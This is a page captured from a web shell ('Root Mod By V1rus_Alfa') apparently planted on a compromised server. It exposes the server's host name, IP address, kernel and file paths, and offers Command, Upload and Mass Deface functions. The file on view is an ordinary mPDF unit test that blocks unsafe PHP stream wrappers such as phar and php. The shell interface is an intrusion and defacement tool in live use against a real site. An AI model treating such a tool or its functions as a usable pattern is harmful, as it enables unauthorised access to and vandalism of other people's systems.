���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
vendor
/
misterspelik
/
mpdf
/
tests
/
Mpdf
/
Viewing: AssetFetcherTest.php
<?php namespace Mpdf; use Mockery; use Mpdf\File\LocalContentLoaderInterface; use Mpdf\Http\ClientInterface; use Psr\Log\NullLogger; class AssetFetcherTest extends \Yoast\PHPUnitPolyfills\TestCases\TestCase { /** * @var \Mpdf\AssetFetcher */ private $assetFetcher; protected function set_up() { parent::set_up(); $mpdf = Mockery::mock(Mpdf::class); $mpdf->shouldIgnoreMissing(); $mpdf->img_dpi = 72; $mpdf->whitelistStreamWrappers = ['http', 'file', 's3', 'phar']; $mpdf->showImageErrors = true; $mpdf->PDFAXwarnings = []; $contentLoader = Mockery::mock(LocalContentLoaderInterface::class); $http = Mockery::mock(ClientInterface::class); $this->assetFetcher = new AssetFetcher( $mpdf, $contentLoader, $http, new NullLogger() ); } /** * @dataProvider dataProviderStreamBlacklist */ public function testStreamBlacklist($filename, $message) { try { $this->assetFetcher->fetchDataFromPath($filename); } catch (\Mpdf\Exception\AssetFetchingException $e) { $this->assertSame($message, $e->getMessage()); } } public function dataProviderStreamBlacklist() { $wrappers = stream_get_wrappers(); foreach ($wrappers as $wrapper) { yield [$wrapper . '://', 'File contains an invalid stream. Only http, file, s3 streams are allowed.']; } } } function stream_get_wrappers() { return [ 'php', 'http', 'ftp', 'https', 's3', 'phar', 'compress.bzip2' ]; }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa